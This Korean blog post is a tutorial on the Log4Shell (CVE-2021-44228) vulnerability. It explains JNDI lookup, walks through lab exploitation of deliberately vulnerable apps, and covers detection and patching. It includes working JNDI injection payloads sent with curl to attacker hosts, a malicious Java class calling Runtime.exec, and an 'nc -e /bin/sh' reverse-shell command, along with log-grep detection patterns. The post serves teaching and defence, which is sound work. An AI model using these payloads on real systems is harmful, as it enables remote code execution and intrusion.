티스토리 뷰

WEB

Log4j 취약점(CVE-2021-44228)

🌧: 2021. 12. 23.

개요

12월 10일경 친구들과 술집에서 조촐하게 술 한잔 하고 있을 때 다양한 포털사이트에서 보안사고가 발생했다는 기사를 접하게 되었습니다.
CVE-2021-44228(JNDI Injection) 넘버를 부여받은 log4j 취약점은 Apache의 "Log For JAVA"이름을 가진 말 그대로 JAVA 기반 로깅 프레임워크로 개발자들이 디버그 용도로 많이 사용하고 있는 만큼 공격에 희생될 수 있는 범위가 너무 넓습니다.

 

국내 전자정부표준 프레임워크의 3.1 ~ 3.10 버전에서 log4j 2.0 ~ 2.12.1을 사용하고 있는 만큼 해외/국내를 가리지 않고 여러 개발자, 보안담당자, 엔지니어분들이 많은 수고를 해주셨을 것으로 판단됩니다.
전자정부 프레임워크: https://www.egovframe.go.kr/home/sub.do?menuNo=13

 

이 취약점이 크게 거론된 이유는 CVE-2021-44228 공격이 성공 시 원격지에 있는 대상 시스템에게 임의코드를 다운/실행할 수 있는 RCE(Remote Code Execution)가 완성되기 때문입니다. 공격 방식이 매우 간단한 데에 비해 파급효과가 굉장히 커 CVSS 만점인 10점을 부여받았습니다. JAVA 기반으로 운영되는 대표적인 서비스들과 취약한 Log4j버전은 아래와 같습니다.

윈도우(Powershell)
# gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
리눅스
# find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"

 

JNDI Lookup 이란

log4j의 원격코드 실행이 어떻게 발생했는지 이해하기 위해선 log4j 2.0-beta9에 도입된 "JNDILookup"이 어떤 역할을 하는지 알아야 합니다.


JNDI는 "Java Naming and Directory Interface"의 약자입니다. LDAP 같은 디렉토리 서비스에 저장되어있는 JAVA 객체를 발견하고 참고(Lookup) 하기 위한 JAVA API로 쉽게 이야기해 분산된 환경 속에서 서로 간에 필요한 자원을 연결시켜 줄 수 있는 목적을 가지고 있습니다.

JNDI 구조

JNDI의 구조를 보면 크게 API와 SPI 2개로 나뉘는데 익스플로잇을 하는데 관심을 가져야 할 부분 은 SPI(Service Provider Interface)입니다. 이는 API에서 파생된 부분으로 J2EE 플랫폼 기반의 네이밍과 디렉토리 서비스를 연결시켜 줍니다. 즉 "LDAP, DNS, NIS, RMI" 등의 프로토콜을 이용해서 JNDI 콜을 호출하는 것이 가능하기 때문에 공격자는 미리 준비해둔 LDAP 서버에 Exploit 하기 위한 코드를 준비해둔다면 최종적으로 원격지의 대상 서버에. class 형식의 코드를 응답시켜 원하는 명령어를 실행시키도록 할 수 있습니다.

 

JNDI 콜을 호출한다는 것이 조금 생소하다면 같은 Naming 서비스 중 하나인 "DNS"를 생각해보시면 됩니다. Example.com을 입력하여 접속 시 -> DNS 서버를 통해 도메인의 IP획득 후 접속 -> 도메인 이름으로 접근하는 것처럼 보이지만 실질적으로 IP로 접근하는 것처럼 도메인 <=> IP 간에 서로 바인딩하여 연결해주는 것이라 보면 됩니다.


*디렉토리 또는 네이밍 서비스: 분산 환경에 있는 다중 시스템 및 서비스에 대한 자원 정보 저장소이며, 네이밍 서비스를 지원하는 서버에 이름(name)을 이용하여 해당 자원에 대한 클라이언트 및 서버 액세스를 제공함

 

공격 흐름

사용자가 취약한 Log4j 라이브러리를 사용 중인 경우 아래와 같은 공격 흐름을 통해 침해사고를 경험할 수 있습니다.

참고로 JNDI Injection 하기 위한 위치가 한 곳에 국한되지 않기 때문에 공격자는 HTTP 요청 헤더(User-Agent 등)에 삽입하거나 페이지 내부의 Login ID, Password, E-mail 같은 POST필드를 통해서도 공격할 수 있습니다.

공격 흐름도

1. 공격자는 별도의 악성 LDAP 서버를 준비해두고 ${jndi:ldap://attacker.com/a} 형태의 구문을 log4j가 구성되어있는 대상 웹 서비스에 Injection을 시도

ex) 1. User-Agent 정보를 log.info로 출력
public void handle(HttpExchange he) throws IOException {
   String userAgent = he.getRequestHeader("user-agent");
   log.info("Request User Agent:{}", userAgent); }

2. Curl을 통한 User-Agent에 JNDI Injection
# curl victim:8080 -H 'User-Agent: ${jndi:ldap://attacker.com/a}'

2. 대상 웹 서버는 -> 공격자 서버(attacker.com/a)로 LDAP 쿼리 요청(Query)
3. 공격자 서버(Attacker LDAP)에 미리 준비된 Exploit코드가 포함된 응답을 대상 서비스에 LDAP 쿼리 응답(Response)

(Response형태)
javaCodeBase: 
http://attacker.com/a
javaClassName: RCE
objectClass: javaNamingReference

4. 대상 서버에서 공격자 서버로 HTTP GET 요청
5. 공격자 서버에 있는 RCE.class를 대상 서버에 응답하여 코드 실행

(Response형태)
class RCE {
static {
Runtime.getRuntime().exec("Custom command");
}}

 

Exploit (User-Agent)

log4j 취약점 테스트를 위해 몇 가지 공격 벡터를 알아보도록 하겠습니다.(JDK 8u181 설치되어 있음)

# git clone https://github.com/leonjza/log4jpwn.git
# cd logpjpwn
# mvn clean compile assembly:single (mvn 없을 시 apt-get install mvn)
# java -jar target/log4jpwn-1.0-SNAPSHOT-jar-with-dependencies.jar

우선 취약한 웹 애플리케이셔 가동해줍니다. 구축 방법은 위의 깃허브 페이지를 참고하시기 바랍니다.

 

localhost 또는 자신의 docker IP를 확인하여 접근해보시면 User-Agent가 기록되는 페이지가 나타납니다.

 

현재 가동 중인 서버에는 3가지의 취약한 매개변수(User-Agent, pwn, URI path 경로)가 존재합니다. 이 중에서 User-Agent에 JNDI Lookup 문자열을 전달하여 원격코드를 트리거하도록 진행해보겠습니다.

 

취약한 서버는 준비되었으니 이제 공격용 LDAP 서버를 준비해야 됩니다. 아래의 링크를 타고 가서. jar파일을 다운로드하도록 하겠습니다.

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

 

# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc {Attack_IP} 8888 -e /bin/sh" -A {Attack_IP}
# nc -lvp 8888

-C 옵션을 통해 희생자 서버에서 실행할 명령어를 입력하고 -A 에는 공격자의 iP 주소를 넣어주시면 됩니다.

JNDI Links에 담긴 ldap주소를 희생자 서버에 전달될 경우 공격자 서버에 ldap 쿼리를 요청하게 되어 Exploit Code가 담긴 응답을 회신하게 됩니다.

 

# curl -H 'User-Agent: ${jndi:ldap://192.168.0.129:1389/li62qf}' 172.17.0.1:8080

JNDI injection을 하기 위해 대상 서버의 User-Agent에 공격 쿼리를 삽입해줍니다. 이때 -H 옵션을 사용해주시면 됩니다.

 

Server Log를 보시면 희생자 서버에서 공격자의 LDAP 주소인 192.168.0.129:1389/li62qf로 요청 쿼리를 전달하게 되고 응답 값으로 준비된 Exploit코드를 보내어 원격코드 실행이 가능해집니다.

 

Exploit (Password Form)

https://github.com/Cyb3rWard0g/log4jshell-lab/tree/main/victim-server

이번에는 헤더 대상의 인젝션이 아닌 표면상 쉽게 접근할 수 있는 로그인 페이지를 대상으로 해보겠습니다. 우선 자신의 서버에 톰캣을 설치 후 취약한 웹 소스를 컴파일해주면 위와 같은 로그인 페이지로 접근할 수 있게 됩니다.

 

라이브러리 쪽을 확인해보면 취약한 버전인 Log4j 2.14.0 을 통해 사용자의 입력 값을 처리하는것으로 확인됩니다.

 

소스코드를 확인해보니 로그인 페이지의 패스워드 필드가 Log4j 형식에 파싱 처리가 되고 있기 때문에 패스워드 입력란에 JNDI Lookup 문자열을 전달하여 공격자의 악성 LDAP 주소를 참조할 수 있도록 해주면 될 것 같습니다.

 

# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc {Attack_IP} 8888 -e /bin/sh" -A {Attack_IP}
# nc -lvp 8888

위에서 했던 방식과 마찬가지로 LDAP 서버를 가동하여 희생자 서버 -> 공격자 서버로 연결을 허용하는 리버스 쉘을 맺도록 하겠습니다.

 

공격코드가 제대로 입력되었는지 확인하기 위해 type 속성을 text로 변경해주고 Sign in을 눌러줍니다.

 

로그를 확인해보면 공격자가 삽입한 JNDI 문자열이 제대로 전달되었으며 Lookup이 된 것을 확인할 수 있습니다.

 

리버스 쉘이 성공적으로 열릴게 됩니다.

 

Exploit (X-Api-Version)

https://github.com/christophetd/log4shell-vulnerable-app

# docker build . -t vulnerable-app (Docker 없을 시 설치)
# docker run -p 8080:8080 --name vulnerable-app vulnerable-app

log4shell에 노출될 수 있는 공격 백터는 그 어느 곳이 될 수도 있다고 얘기했습니다. 위의 소스의 경우 요청 헤더에 포함되어 있는 X-Api-Version 이 취약한 log4j 버전에서 파싱 되고 있습니다.

 

요청 값에 X-Api-Version 헤더를 추가하여 준비해둔 JNDI Lookup 문자열을 보내보면 Hello, world! 를 반환하여 처리하게 됩니다.

 

희생자 서버에서 Lookup 한 주소는 공격자의 LDAP 주소로 준비된 Exploit Code로 인해 리버스 쉘을 연결할 수 있는 nc 명령어를 원격에서 실행시키게 되어 상호 간에 세션을 연결하게 됩니다.

 

취약 유무 테스트

자신이 관리하는 서버가 Log4shell에 취약한 버전을 사용하고 있을 경우 실제 악용이 가능한지 테스트를 해봐야 될 수도 있습니다. 그럴 때는 아래의 링크를 통해 임의코드가 트리거 될 수 있는지 여부를 간단하게 파악해주는 사이트를 이용해보시면 도움이 됩니다.(BurpSuite Pro의 Collaborator 사용하셔도 됩니다.)

https://canarytokens.org/

 

Know. Before it matters

Canarytokens is a free tool that helps you discover you’ve been breached by having attackers announce themselves. The tokens allow you to implant traps around your network and notifies you as soon as they are triggered.

canarytokens.org

링크를 접속해보면 테스트를 하기 위한 종류(Select your token)와 이메일 그리고 식별하기 위한 간단한 코멘트 등을 작성할 수 있는 페이지가 존재합니다.

 

맨 하단의 종류로 내려보면 Log4Shell 항목이 존재합니다. 선택해주신 후 자신의 이메일과 간단한 코멘트를 작성해줍니다.

 

코드가 생성되면 위와 같은 token이 생성되었다는 문구가 나타납니다. 복사를 해주시면 됩니다.

 

위에서 테스트했던 취약한 웹 서버로 넘어와 생성된 token을 삽입하여 기다려 주시면 끝입니다.

 

약 몇 초 정도 기다려보시면 token 생성 시 작성했던 이메일 주소로 코드가 트리거 될 수 있는 유무를 응답하게 됩니다. 만약 취약점이 존재하지 않았다면 이메일이 도착하지 않습니다.

 

공격 징후 파악하는 법

log4j 서비스를 예전부터 사용하셨다면 그만큼 오랜 시간 동안 취약점에 노출되어 있었을 가능성이 높습니다. 1차적으로 빠르게 조치하시는 것도 중요하지만 로그분석을 통해 사후조치를 할 수 있도록 해주시는 것도 중요합니다.

압축되어 있지 않은 경우
# sudo egrep -I -i -r ‘\$(\{|%7B)jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log
압축되어 있는 경우
# sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns):/[^\n]+'
압축되어 있지 않은 경우(난독화)
# sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns):'" \;
압축되어 있는 경우(난독화)
# sudo find /var/log/ -name "*.log.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

 

대응 방법

하트 브리드, 쉘 쇼크처럼 오랜 시간 기록될 취약점(개인적으로 JNDI Injection만큼은 아니었음)들은 즉각 최신 버전으로 업그레이드하는 것이 중요합니다.
이미 유사업계에 계시는 분들은 공문을 받았기 때문에 log4j 2.15 버전으로 업그레이드했거나 아직 진행 중에 있으시겠지만. CVE-2021-44228이 발표된 직후 새로운 취약점(CVE-2021-45046[DOS], CVE-2021-4104[1.2 RCE])이 줄줄이 나오고 있기 때문에 가급적 조치하시는당일 기준에 맞는 제일 최신 버전으로 올려주시면 됩니다.

(2021-12-16 기준 log4j 2.16에서는 JNDI에 대한 액세스를 비활성화하고 메시지 조회 기능이 완전히 제거되었지만, 가용성을 침해할 수 있는 DDOS 취약점이 추가 발견되어 2.17 버전으로 업그레이드 권고)

만약 업그레이드가 불가능하다면 아래와 같은 방법을 통해 진행합니다.
- Log4j 1.2(CVE-2021-4104): 별도의 JNDI를 사용할 때만 취약하며 JMSAppender가 활성화되어 있을 경우 비활성화
(1) zip -d log4j-1.2.16.jar org/apache/log4j/net/JMSAppender.class
(2) zip -d log4j-1.2.16.jar org/apache/log4j/net/SocketServer.class

- Log4j 2.x:(Java 8 이상은 2.17 / Java 7 이상은 2.12.2로 업그레이드)
(1) JndiLookup 을 비활성화(NoLookups를 True로 설정)
echo “export LOG4J_FORMAT_MSG_NO_LOOKUPS=true” >> /etc/profile.d/blockzero.sh
/etc/environment 에 LOG4J_FORMAT_MSG_NO_LOOKUPS=true 추가하여 시스템 전체에 적용

log4j-core-*.jar 파일에서 JNDI Lookup 클래스를 제거

(1) zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

<Ref>
https://blog.qualys.com/vulnerabilities-threat-research/2021/12/15/is-your-web-application-exploitable-by-log4shell-cve-2021-44228-vulnerability
https://opentutorials.org/module/3569/21223
https://extsdd.tistory.com/326
https://medium.com/s2wlab/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08
https://acet.pe.kr/214

'WEB' 카테고리의 다른 글

CSTI(Client Side Template Injection) 취약점  (0) 2022.03.08
기업 도메인의 DMARC 레코드 분석  (0) 2022.02.18
Log4j 취약점(CVE-2021-44228)  (0) 2021.12.23
Atlassian RCE 취약점  (0) 2021.09.12
Atlassian REST API 취약점  (0) 2021.09.11
Atlassian XSS 취약점  (0) 2021.09.10
Comment
댓글쓰기 폼